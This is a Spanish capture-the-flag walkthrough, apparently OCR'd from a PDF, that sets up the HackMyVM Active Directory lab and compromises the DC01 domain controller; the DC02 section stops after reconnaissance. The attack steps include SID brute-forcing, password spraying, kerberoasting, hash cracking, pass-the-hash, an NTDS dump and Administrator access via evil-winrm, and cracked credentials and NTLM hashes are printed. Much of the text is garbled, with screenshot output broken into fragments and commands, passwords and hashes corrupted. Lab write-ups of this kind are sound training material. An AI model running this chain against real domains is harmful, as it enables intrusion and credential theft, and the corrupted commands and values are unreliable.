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Instalacion y configuracion del LAB

Instalacion de maquinas vulnerables HackMyVM.

HackMyVM es una plataforma gratuita que ofrece mdquinas virfuales
vulnerables para practicar hacking ético, pentesting y resolucion de retos
de ciberseguridad.

Antes de comenzar con la explotaciéon de las mdquinas de Active
Directory (AD), es fundamental instalar correctamente las VMs en un
entorno controlado.

Enlaces para descargar las mdquinas vulnerables de la plataforma
HackMyVM;

https://hackmyvm.eu/machines/machine.php?vm=DC01
https://hackmyvm.eu/machines/machine.php?vm=DC02
https://hackmyvm.eu/machines/machine.php?vm=DC03
https://hackmyvm.eu/machines/machine.php?vm=DC04

Una vez instaladas las maquinas, nos tenemos que asegurar de que el
adaptador de red esté en adaptador puente o Red NAT, para tener
visibilidad desde nuestra maquina atacante, la cual ha de tener el mismo
adaptador de red que las maquinas vulnerables.

Posibles errores en el despliegue de las VMs.

En alguna de las maquinas, en el momento de desplegarlas aparecia el
siguiente error;

T IR

Nueva  Afiadir Configuracion Iniciar Arrancando MV...
v/ New group £ General " Nombre de
(ealf |

'm_f;. -

B sistema

u Memoria base:

Aceleracidn:

] rantalla

Memoria de

macenamiento

Controlador: SATA
Puerto SATA 0: DC03-disk001.vdi (Nermal, 50,00 GB)

b Audio

Inhabilitado

I Red

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «802.11ac Wireless LAN C

# uss
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https://hackmyvm.eu/
https://hackmyvm.eu/machines/machine.php?vm=DC01
https://hackmyvm.eu/machines/machine.php?vm=DC02
https://hackmyvm.eu/machines/machine.php?vm=DC03
https://hackmyvm.eu/machines/machine.php?vm=DC04

En mi caso lo soluciono cambiando el nombre de la MV y cambiando el
adaptador de red a Red NAT.

89 Oracle VM VirtualBox Administrado —

Archive Maguina Ayuda

1§} neramentes *4 & >

MNueva Afadir Configuracion Mostrar
v New group O General O Previsualizacion

MNombre: DCCYLUM
Sistema operativo: W s 2022 (64-bit)

ler  Entrada

(m C:\Windowsisystem32\LogonUl.exe
Applying computer settings

>
¥
=1 1% 'S 43 [ CTRL DERECHA

iProblema resuelto!
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Maquina DCO1

1. Reconocimiento

Lo primero que tenemos que hacer es identificar nuestro objetivo, ver la
IP de la mdquina vulnerable. En mi caso, lo hago con la herramienta
netdiscover.

ip a
sudo netdiscover -i etho -r 14.14.1.0/24

a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default gqlen 1000
1ink/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
Link/ether 08:00:27:3d:50:96 brd ff:ff:ff:ff:ff:ff
inet 14.14.1.100/24 brd 14.14.1.255 scope global noprefixroute eth®
valid_1ft forever preferred_l1ft forever
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e6:51:54:21 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
valid_1ft forever preferred_lft forever

pco1 7 |

Una vez identificamos el host, con IP 14.14.1.28, vamos a realizar un
escaneo de puertos con la herramienta NMAP, en concreto vamos a
utilizar la herramienta automatizada para escaneos de NMAP autonmap.

—— MM N AN
AR VO W U U R S VU W SR WY
AT W U W W A Y D I U W
AN U U U Y A
- . A S VU W VA W W W VU W VO W R W VA
NIV N ' N1 NN ] Y U Y PR Y R ¥ R

Created by BanYio
IP to scan:

14.14.1.28
Path to save results (For example, /path/to/save):

Open Ports:
Results saved in: ./scan.txt

Como era de esperar, al ser un DC hay muchos puertos abiertos.
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https://github.com/BanYio/AutoNMAP

Por el momento nos vamos a centrar en kerberos (88), roc (135), smb
(445), Idap (389) y, por Ultimo, vemos que tiene habilitado el puerto 5985,
winrm.

824-99-10 18:03:127)
ory LDAP (Domain: SOUPEDECODE.LOCAL®., Si Default-First-Site-Name)

Microsoft Windows RPC over HTTP 1.8
Microsoft Windows Directory LDAP (Domain: SOUPEDECODE.LOCAL®., Site: Default-First-Site-Name)

M ft HTTPAPI httpd 2.8 (SSDP/UPNP)

http-se r-header: Mi rn:-scnft-HTTIE‘.n'«\P ]
http-title: Not Found
open mc-nmf -NET Message Framing
c Micre

msrpc

Windows Rl
Windows Rl ver HTTP 1.8
ft Wind
) Open  msrp Mi Window
Info: Host: ; 05: ndc CPE: osoft:windows

and required
NetBIOS user: <unk n>, NetBIOS MAC: 8:27:88:32:a9 (Oracle VirtualBox rtual NIC)

Service detection performed. Please report rrect resu at http map.org/submi
Nmap done: 1 IP address (1 host up) scanned 6 seconds

. pcor | « |

Lo primero que hacemos es identificar el dominio y anadirlo en el fichero
/etc/hosts.

crackmapexec smb 14.14.1.28

ncel Win 28 4 (name:DCA1) (domain{SOUP AL) (signing:True)

ciberterc

SOUPEDECODE . LOI

Tras intentar enumerar usuarios mediante LDAP, rpcclient o smb con null
sessions o incluso con la herramienta kerbrute para ver usuarios vdlidos del
dominio, no ha habido suerte, por lo que vamos a listar las carpetas
compartidas y en un primer momento no se detecta nada interesante,
por ello es muy importante realizar las enumeraciones con distfintas
herramientas.
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smbclient -L //14.14.1.28/ -N
crackmapexec smb 14.14.1.28 -u '' -p '' -shares
crackmapexec smb 14.14.1.28 -u ‘'banyio' -p '' -shares

//14.14.1.28/ -

Default share

Remote IPC
NETLOGON 3 Logon se
SYSVOL 3 Logon serv

28 failed ror NT_STATUS_RESOURCE_NAME_NOT_FOUND)
no workgroup available
smb 14.14.1.28 -u --shares
4.1.28 445 Windows Server 2822 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
1.28 445 [-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED
1.28 445 Error enumerating shares: Error occurs while reading from remote(104
-u - --shares
Windows Server 2822 Build 20348 ame:DCB1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
[+] SOUPEDECODE.LOCAL\banyio:
[+] Enumerated shares

Remote Admin

Default share

Remote IPC
NETLUGON Logon server share
SYSvoL Logon server share
Users

Como podemos ver, hay muchas carpetas compartidas, pero solo
tenemos permisos de lectura para IPC. Vamos a readlizar alguna
buUsqueda a ver que podemos enumerar con este recurso compartido, y
en hackiricks encontramos que hay una herramienta de impacket,
lookupsid con la cual podemos enumerar los usuarios del domino.

impacket-lookupsid banyio@14.14.1.28

> banyio@14.14.1.28
Impacket v0.12.0.devl - Copyright 2023 Fortra

Password:
[*] Brute forcing SIDs at 14.14.1.28
[*] StringBinding ncacn_np:14.14.1.28[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
: SOUPEDECODE\Administrator (SidTypeUser)
: SOUPEDECODE\Guest (SidTypeUser)
: SOUPEDECODE\krbtgt (SidTypeUser)
: SOUPEDECODE\Domain Admins (SidTypeGroup)
: SOUPEDECODE\Domain Users (SidTypeGroup)
: SOUPEDECODE\Domain Guests (SidTypeGroup)
: SOUPEDECODE\Domain Computers (SidTypeGroup)
: SOUPEDECODE\Domain Controllers (SidTypeGroup)
: SOUPEDECODE\Cert Publishers (SidTypeAlias)
: SOUPEDECODE\Schema Admins (SidTypeGroup)
: SOUPEDECODE\Enterprise Admins (SidTypeGroup)
: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)
: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)
: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)
: SOUPEDECODE\Protected Users (SidTypeGroup)
: SOUPEDECODE\Key Admins (SidTypeGroup)
: SOUPEDECODE\Enterprise Key Admins (SidTypeGroup)
: SOUPEDECODE\RAS and IAS Servers (SidTypeAlias)
: SOUPEDECODE\Allowed RODC Password Replication Group (SidTypeAlias)
: SOUPEDECODE\Denied RODC Password Replication Group (SidTypeAlias)
: SOUPEDECODE\DCO1$ (SidTypeUser)
: SOUPEDECODE\DnsAdmins (SidTypeAlias)
: SOUPEDECODE\DnsUpdateProxy (SidTypeGroup)
: SOUPEDECODE\bmark@ (SidTypeUser)
: SOUPEDECODE\otaral (SidTypeUser)
: SOUPEDECODE\kleo2 (SidTypeUser)
: SOUPEDECODE\eyara3 (SidTypeUser)
: SOUPEDECODE\pquinn4 (SidTypeUser)
: SOUPEDECODE\jharper5 (SidTypeUser)
: SOUPEDECODE\bxenia6 (SidTypeUser)
: SOUPEDECODE\gmona7 (SidTypeUser)
: SOUPEDECODE\oaaron8 (SidTypeUser)
: SOUPEDECODE\pleo9 (SidTypeUser)
: SOUPEDECODE\evictor10 (SidTypeUser)
4: SOUPEDECODE\wreed11l (SidTypeUser)
: SOUPEDECODE\bgavin12 (SidTypeUser)
: SOUPEDECODE\ndelial3 (SidTypeUser)
: SOUPEDECODE\akevinl4 (SidTypeUser)
: SOUPEDECODE\kxenial5 (SidTypeUser)
: SOUPEDECODE\ycody16 (SidTypeUser)
: SOUPEDECODE\gnoral7 (SidTypeUser)
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Como podemos observar, nos aparecen todos los usuarios, pero con un
formato incdmodo para poder realizar otras tareas de enumeracion mads
adelante, por lo que vamos a ordenar este output.

impacket-lookupsid banyio@14.14.1.28 | awk -F '\\' '{print $2}'
| awk '{print $1}' > users.txt

> banyio@14.14.1.28 | - > users.txt
Password:
b -n 20 users.txt

pipe

Enterprise
Administrator

-n 20 users.txt

backup_svc
web_svc
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2. Explotacion

Ahora tenemos una lista de usuarios del dominio, por lo que podemos
intentar a ver si alguno de estos usuarios es vulnerable a un ataque As-
Rep Roasting, o realizar un password spraying al smb con credenciales
por defecto.

crackmapexec smb 14.14.1.28 -u users.txt -p users.txt -no-brute

8 -u users.txt -p users.txt --no-brute
445 Dce1 Windows rver 2022 Build 20348 x64 (name:DC81) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)

DCe1 -] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE

Dcet -] SOUPEDECODE . LOCAL\Gue: STATUS_LOGON_FAILURE

nce1 -] SOUPEDECODE. LOC tgt S 0GON_FAILURE

ncel SOUPEDECODE . ON_FAILURE

DCe1 SOUPEDECODE.

DCo1 -] SOUPEDECODE.

nce1 SOUPEDECODE.

pcet SOUPEDECODE .

DCe1 SOUPEDECODE . LOCAL \p nd4 STATUS_LOGON_FAILURE

nce1 SOUPEDECODE . j pe harper5 STATUS_LOGON_FAILURE

Dol SOUPEDECODE . \ :bxeniaé STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE. \ a7:gmona7 STATUS_LOGON_FAILURE

Dcet SOUPEDECODE. LOC, 8 STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE. LOC. H TATUS_LOGON_FAILURE

Dce1 SOUPEDECODE. LOCAL\evic sevictor1® STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE . LOCAL\wre

DCe1 SOUPEDECODE . LOCAL\bgavin12:bgavinl2 STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE. LOCAL\ndelial d 13 STATUS_LOGON_FAILURE

Dce1 -] SOUPEDECODE.LOCAL\a p 14 STATUS_LOGON_FAILURE

oce1 SOUPEDECODE . LOCAL\K 15 STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE . :ycody16 STATUS_LOGON_FAILURE

DCe1 SOUPEDECODE. al7: 17 STATUS_LOGON_FAILURE

-] SOUPEDECODE. k nnel8:dyvonnel8 STATUS_LOGON_FAILURE
SOUPEDECODE. cen 19 STATUS_LOGON_FAILURE
SOUPEDECODE . eed2® STATUS {_FAILURE
SOUPEDECODE. y21:icody21 STATUS_LOGON_FAILURE
SOUPEDECODE. 22:ftom22 STATUS_LOGON_FAILURE
SOUPEDECODE . e ake23 STATUS_LOGON_FAILURE
SOUPEDECODE. rpenny24 STATUS_LOGON_FAILURE
SOUPEDECODE. LOCAL\jir tris25 STATUS_LOGON_FAILURE
SOUPEDECODE. LOCAL\colivia26:coliv
SOUPEDECODE . LOCAL \pyvonne27 onne27 STATUS_LOGON_FAILURE
SOUPEDECODE. LOCAL\zfrank28:2 28 STATUS_LOGON_FAILURE
[+) SOUPEDECODE.LOCAL\ybob317:ybob317

Tenemos unas credenciales validas.
ybob317.:ybob317

Vamos a comprobar carpetas compartidas con estas credenciales y ver
si tenemos acceso mediante winrm.

crackmapexec smb 14.14.1.28 -u ybob317 -p ybob317 -shares
crackmapexec winrm 14.14.1.28 -u ybob317 -p ybob317

smb 14.14.1.28 -u ybob317 -p ybob317
445 bce1 \ s Server ! 48 x64 (name:DCO1) (doma OUPEDECODE.LOCAL) (stgning:True) (SMBv1:False)
445 Dce1 + . b317
4.1.28 -u ybob317 -p ybob317 --s
445 DCe1 ows Se |{ 6 3 DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
445 DCo1 Y L
445 Dot
445 )
445 nce1
445 Dot Remote Admin
445 bce1
445 ncet Default share
445 IPCS Remote IPC
445 C NETLOGON Logon server share
445 C SYSVoL Logon server share
445 Users
ybob317 -p ybob317
Dot e 1 48 (n 01) 3 UPEDECODE . LOCAL)
DCo1 : L
DCo1

No vemos nada interesante, por lo que vamos a ayudarnos de
herramientas como bloodhound o Idapdomaindump para realizar una
escalada de privilegios o movimientos laterales.

Cylum



bloodhound-python -d soupedecode.local -v --zip -c All -ns
14.14.1.28 -u ybob317 -p 'ybob317'

1 -v --zip -c All -ns 14.14.1.28 -u y 7 -p

, acl, group, session, rdp, trusts, container, objectprops, psremote

with -gc or disable gc resolution with --disable-autogc

, Line 91, in
bError
impacket.krb! r| 5.KerberosError: Kerberos Ses 3 : K EW(

WARNING: Failed to get ero . L ¢ to NTLM authentication. E rn)r
uld not find a domain C "5 f a domain and

Vemos que nos aparece un error DNS, vamos a intentar solucionarlo. Para
ello vamos a levantar un DNS server con la herramienta dnschef.

git clone https://github.com/iphelix/dnschef.git

cd dnschef

sudo python3 dnschef.py --fakeip 14.14.1.28
bloodhound-python -d soupedecode.local -v --zip -c All -ns
127.0.0.1 -u ybob317 -p 'ybob317' -dc dcel

/iphelix/dnschef.git

done.

76 (from 1)
ne.

FwE Pipfile Pipfile.lock README 3 .ini dnschef.py requirements.txt
/ fakeip 14.14.

es to point

-c ALl -ns 127. 1 -u ybob317 -p -de

s, group, objectprops, emote, rdp, container, acl, dcom, localadmin,
in information
n from DNS

assuming the primary has this role
vith -gc or disable gc resolution with --disable-autogc

Ya tenemos el reporte de bloodhound.
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Abrimos bloodhound, iniciamos la consola de neo4j y subimos el archivo
.Zip al bloodhound.

Oetabiase info

Cylum
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3. Escalada de Privilegios

Una vez tenemos todos los datos subidos al bloodhound, podemos
empezar a buscar posibles vectores para escalar privilegios, si listamos los
usuarios kerberoastables, vemos lo siguiente;

Analysis

e BACKUP_SVC@SOUPEDECODE.LOCAL

MONITORING_SVC@S0UPEDECODE LOCAL

(=)

FIREWALL_SVC@SOUPEDECODELOCAL

KRETGT@SOUPEDECODE.LOCAL

WEB_SVC@SOUPEDECODE.LOCAL

FILE_SVC@S0UPEDECODE.LOCAL

Todos estos usuarios son vulnerables a un ataque kerberoast, por lo que
vamos a realizarlo con la herramienta de Impacket-GetUsersSPNs.

impacket-GetUserSPNs -dc-ip 14.14.1.28
soupedecode.local/ybob317:ybob317

> -dc-ip 14.14.1.28 soupedecode.local/ybob317:ybob317

Impacket v0.12.0.devl - Copyright 2023 Fortra

ServicePrincipalName EE Member0f PasswordLastSet LastLogon Delegation

FTP/FileServer file_svc 2024-06-17 19 <never=

FW/ProxyServer firewall_svc 2024-06-17 19 . 7101 <never>
HTTP/BackupServer backup_svc 2024-06-17 19 <never>
HTTP/WebServer web_svc 2024-06-17 19: 5 i <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 19:29:18.511871 <never>

Aqui vemos los usuarios vulnerables, y para capturar el hash NLTMv2, le
tenemos que pasar el pardmetro -outputfile.
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impacket-GetUserSPNs -dc-ip 14.14.1.28
soupedecode.local/ybob317:ybob317 -outputfile kerb.hash

-dc-ip 14.14.1.28 soupedecode.local/ybob317:ybob317 -outputfile kerb.hash
Impacket v0.12.0.devl - Copyright 2023 Fortra

ServicePrincipalName Name Member0f PasswordLastSet LastLogon Delegation

FTP/FileServer file_svc 2024-06-17 19:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 19:28:32.710125 <never=>
HTTP/BackupServer backup_svc 2024-06-17 19:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 19:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 19:29:18.511871 <never>

[-] CCache file is not found. Skipping...
[ ] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
14.14.1.28
70“4 09-11 02:26:15.912177 (+0200) +32399.244245 +/- 0.000292 14.14.1.28 s1 no-leap
CLOCK: time stepped by 32399.244245

AQui vemos un error que se soluciona cambiando o sincronizando el ntp
server con el del DC.

sudo ntpdate 14.14.1.28

Volvemos a ejecutar de nuevo el comando y vemos que se han
capturado todos los hashes. Vamos a crackearlos con JohnTheRipper.

john --wordlist=/usr/share/wordlists/rockyou.txt kerb.hash

> --wordlist=/usr/share/wordlists/rockyou.txt kerb.hash

Using default input encoding: UTF-8

Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

()
1g 0:00:00:24 DONE (2024-09-10 17:33) 0.041449/s 594436p/s 2822Kc/s 2822KC/s !!12Honey..*7iVamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

=

Como podemos observar, solo nos saca 1 contrasena, y no vemos a que
cuenta pertenece. Para identificar a quien pertenece esa contrasena,
utilizaremos crackmapexec.
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crackmapexec smb 14.14.1.28 -u users.txt -p 'Passwordl23!

smb 14 14.1, 73 -u users.txt -p
14, 445 0Ce1

SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.

SOUPEDECODE .
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE .
SOUPEDECODE.
SOUPEDECODE .
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.

Windows Servi

2022 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)

LOCAL\Administrator:Pa Sthdl?}" STATUS_L
LOCAL\Gues LOGON_FAILURE
LOGON_FAILURE
US_LOGON_FAILURE
! STATUS_LOGON_FAILURE
assword123!! STATUS_LOGON_FAILURE
assword12 STATUS_LOGON_FAILURE
assword123!! STATUS_LOGON_FAILURE
:Password12 STATUS_LOGON_FAILURE
rper5:Password ! STATUS_LOGON_FAILURE
nia6:Passwordi2 STATUS_LOGON_FAILURE
assword123!! STATUS_LOGON_FAILURE
LOCAL\oaaron8:Password123 0GON_FAILURE
LOCAL\pleo9:Password12. TATUS_LOGON_FAILURE
\ Password123!! STATUS_LOGON_FAILURE
word123!! STATUS_LOGON_FAILURE
STATUS_LOGON_FAILURE

LOCAL\DCO1$
LOCAL\bma
LOCAL\otara
LOCAL\K

SOUPEDECODE. LO

SOUPEDECODE.
SOUPEDECODE.

SOUPEDECODE. L
SOUPEDECODE. L
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE .
SOUPEDECODE .
SOUPEDECODE.

SOUPEDECODE.

SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.
SOUPEDECODE.

SOUPEDECODE.,
-] SOUPEDECODE.
[+] SOUPEDECODE.

Tenemos nuevas credenciales;

file_svc:Password123!!

Con estas nuevas credenciales, vamos a

FAILURE
\_FAILURE

STATUS_LOGON_FAILURE
nsﬁnOrdiZ}" STATUS_LOGON_FAILURE
20: OGON_FAILURE
LO kl\\kchZl Password123!! STATUS_LOGON_FAILURE
LOCALY assword123!! STATUS_LOGON_FAILURE
@ Password123!! STATUS_LOGON_FAILURE
LOCAL\rpenny24: ord123!! STATUS_LOGON_FAILURE
LOLNL\]\V\ 25: Pa rd123!! STATUS_LOGON_FAILURE

LOCAL\Zf rank28:Password123!
LOCAL\ybob317:Password123
LOCAL\file_sve ord123!!

STATUS_LOGON_FAILURE
STATUS_LOGON_FAILURE

compartidas, a ver si hay alguna novedad.

crackmapexec smb 14.14.1.28
shares

/ backup -U file_svc
word for [WORKGROUP\file_svc]:
"help" to get a list of possible commands.
\> 1s

-u file svc

D ® Mon Jun 17 19:41:17 2024
DR @ Mon Jun 17 10:44:?6

up_extract.txt A 892

backup_extract.txt

ad3bﬁ35b51dﬂ4eeaad3b4§5b51dﬂ4
:2129:aad3b435b51404eeaad3b435b5

Mon Jun 17

56 bloc

kerb.hash

d4df5a494bd19713e1477902:
6b424cT7b483ad2458b hfﬁ45c936T’
anf‘ 5d734ﬂJ?39 5

:4e3f0bb3 5bﬁn eb ?GllblnGTQFSSﬁl"'

48fcTeca%9af236d784927399076c5117:

GON_FAILURE

volver a listar las carpetas

-p 'Passwordl23!!' -

19.8 KiloByt

c_kerb.

Nos encontramos con un fichero; backup_extract.ixt que parece tener

muchos usuarios y hashes NTLMvT,

con los que podemos redlizar la

técnica de pass the hash, vamos a comprobar si hay alguna credencial

valida.

Cylum
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cat backup_extract.txt | awk -F ':' '{print $1 >
"svc_users.txt"; print $4 > "hashes.txt"}'

DatabaseServer$

CitrixServer$

FileServer$

MailServers$

BackupServer$

ApplicationServer$

PrintServer$

ProxyServer$

MonitoringServer$

b} hashes. txt
c47b45f5d4df5a494bd19f13e1417902
406b424c7b483a42458bf61545¢936f7
48fc7eca%9af236d7849273990f6c5117
e4lda7e79a4c76dbd9cf79d1chb325559
46a4655f18def136b3bfab7b0bde70e3
46a4655f18def136b3bfab7b0Ob4e70e3
8cd90ac6cbabdde9ddB8038b@68c17e9f5
b8a38c432ac59ed@0b2a373f4f050d28
4e3f0bb3e5bbe3e662611b1a87988881
48fc7eca%af236d7849273990f6c5117

=

crackmapexec smb 14.14.1.28 -u svc_users.txt -H hashes.txt --
continue-on-success --no-brute

smb 14.14.1.28
4.1.28 445 n:SOUPEDECODE.LOCAL) (signing:Tru
445 0 S ECODE . LOCAL \WebS : 3 417962 STATUS_LOGON_FAILURE

445 SOUPEDECODE . LOCAL\Databa: $ 4 4 2458b161545¢93617 STATUS_LOGON_FAILURE
445 SOUPEDECODE . LOCAL\CitrixServer$:48fc7eca%9af236d784927399016¢5117 STATUS_LOGON_FAILURE

445 C SOUPEDECODE . LOCAL\F{leServe 41da7e79adc76dbd9¢179d1cb325559 (Pwn3d!)

445 SOUPEDECODE . \M 6a4655118def136b3bfab7b8bde78e3 STATUS_LOGON_FAILURE

445 SOUPEDECODE . LOCAL\BackupServer$:46a4655f18def136b3bfab7b8b4e78e3 STATUS_LOGON_FAILURE

445 SOUPEDECODE . LOCAL\ApplicationSe 8cd90acbcbabdde9d8838b868c17e9f5 STATUS_LOGON_FAILURE
445 SOUPEDECODE . LOCAL\PrintServe a38c432ac59edB0b2a373f418568d28 STATUS_LOGON_FAILURE

445 SOUPEDECODE . LOCAL\ProxySe: 3f0bb3e5b6e3e662611b1a87988881 STATUS_LOGON_FAILURE

445 -] SOUPEDECODE.LOCAL\MonitoringServer$:48fc7eca9af236d7849273998f6¢5117 STATUS_LOGON_FAILURE

Como podemos ver, gracias al Pwned!, hemos comprometido Ia
mdaquina, ya que significa que tenemos privilegios sobre el DC.

Vamos a dumpear el NTDS para sacar las credenciales de Administrator.

crackmapexec smb 14.14.1.28 -u FileServer$ -H
ed4lda7e79a4c76dbd9cf79d1cb325559 -ntds

smb 14.14.1.28 -u FileServer$ -H ed1da7e79a4c76dbd9¢cf79d1cb325559 --ntds

.14.1.28 445 DC Windows 2022 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (S
1 445 [+] SOUPEDECODE.LOCAL\FileServer$:ed41da7e79ad4c76dbd9cf79d1cb325559 (Pwn3d!)

1 445 [+] Dumping the NTDS, this could take a while so go grab a redbull...

1 445 Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d40c3a9a9888915cbb778b0db54a2f :

1 445 Guest:501:aad3b435b51404eeaad3b4q35b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c!

1 445 krbtgt:502:aad3b435b51404eeaad3bd35b51404ee: fb9dB4e61e78c26063aced3bfI398ef0

.1 445 soupedecode.local\bmark0:1103:aad3b435b51404eeaad3bq35b51404ee:d72c66e955a6dc0fe5e76d205a630b15

.1 soupedecode.local\otaral: 1104:aad3b435b51404eeaad3bq35b51404ee:ee98f16e3d56881411fbd2a67a5494c

1 E soupedecode. local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bdab3615bc51724865a0cd0b4fd9ecl:

1 soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85¢chea32ac6T.

1 soupedecode.local\pquinnd:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbcBc55826b0f f2d54
1 soupedecode.local\jharper5:1108:aad3b435b51404ecaad3b435b51404ee:80019¢c9d3e4654d9bd590fc4296adf0.
1 soupedecode.local\bxenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbe932d82b18a3
1 soupedecode. local\gmona7:1110:aad3b435b51404eeaad3b435b51404ee:c2506dfa7572da5119f25b603da874d:

Shutting down, W
14.14. 8

soupedecode. local\oaaron8:1111:aad3b435b51404ecaad3bd35b51404¢e:869€9033466cb9f718d0ce5a5¢3305¢6
14.14.1. 445 soupedecode.local\pleod:1112:aad3b435b51404ecaad3b435b51404ee:54a3a0c87893e1051e617b629calddef
14.14.1.2 soupedecode.local\evictor10:1113:aad3b435b51404ecaad3bd35b51404ee: c918a6413865d3701a40071365falc3e
14.14.1.2 4 soupedecode. local\wreed11:1114:aad3b435b51404eeaad3b435b51404ee: a581adbf0e50baSedbdcddd5calong7l

iTenemos las credenciales de Administrator!

Cylum
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evil-winrm -i 14.14.1.28 -u 'Administrator' -H
'88d40c3a9a98889f5cbb778bodb54a2f"

114.14.1.28 -u

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

PS C:\Users\Administrator\Documents>

PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
LastWriteTime Length Name
6/17/2024 10:41 AM backup
6/17/2024 10:44 AM 32 root.txt

PS C:\Users\Administrator\Desktop> ls C:\\users\ybob317\desktop\

Directory: C:\users\ybob317\desktop

Mode LastWriteTime Length Name

-a---- 6/12/2024 4:54 AM 32 user.txt

PS C:\Users\Administrator\Desktop> whoami
soupedecode\administrator
PS C:\Users\Administrator\Desktop> |

Ya hemos completado este primer CTF, en el que hemos visto fuerza bruta
de los SID de Windows para identificar usuarios/grupos en el objetivo

remoto,

Cylum
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Maquina DC02

1. Reconocimiento

Lo primero que tenemos que hacer es identificar nuestro objetivo, ver la
IP del DC. En mi caso, lo hago con la herramienta netdiscover.

ip a

a
: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default gqlen 1000
Link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 /128 scope host noprefixroute
valid_1ft forever preferred_lft forever
: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
(UNK/ether 0R:00:27:3d:50:96 brd ff:ff:ff:ff:ff:ff
inet) 14.14.1.100/24 brd 14.14.1.255 scope global noprefixroute eth®
valid_Lft forever preferred_lft forever
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_lft forever
: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:79:2b:7a:08 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
valid_1ft forever preferred_lft forever

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Reqg/Rep packets, from 4 hosts. Total size: 240

14.14.1.1 52:54:00:12:35:00 Unknown vendor
14.14.1.2 52:54:00:12:35:00 Unknown vendor
14.14.1.3 08:00:27:54:07:4c PCS Systemtechnik GmbH
14.14.1.29 08:00:27:67:e6:33 PCS Systemtechnik GmbH

Una vez identificamos el host, con IP 14.14.1.28, vamos a realizar un
escaneo de puertos con la herramienta NMAP, vamos a utilizar para ello,
una herramienta automatizada para escaneos de NMAP autonmap.

I\ NN ORI A\ M e NN s NN S N e AN e NN e )
VR W 1 VT VA 0. O P, U O N O v ST T TR W G O . % O T VI VR O W I PRV TR ¥ B
AR e NENCMAN N N N NN AN NN ANCN NN ANl N NN e NN e
b U YR FA R i VI % L S0 T U YD W O . A R O A, U GO O . § A Y YU YU Y VO VO VO VY

0 A S i U W )V VIR, O VG, VU 0 VI

N NN AN NN N R N P Y )

Created by BanYio
IP to scan:

14.14.1.29
Path to save results (For example, /path/to/save):

Open Ports:
Results saved in: ./scan.txt

Como era de esperar, al ser un DC hay muchos puertos abiertos.

Cylum
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https://github.com/BanYio/AutoNMAP
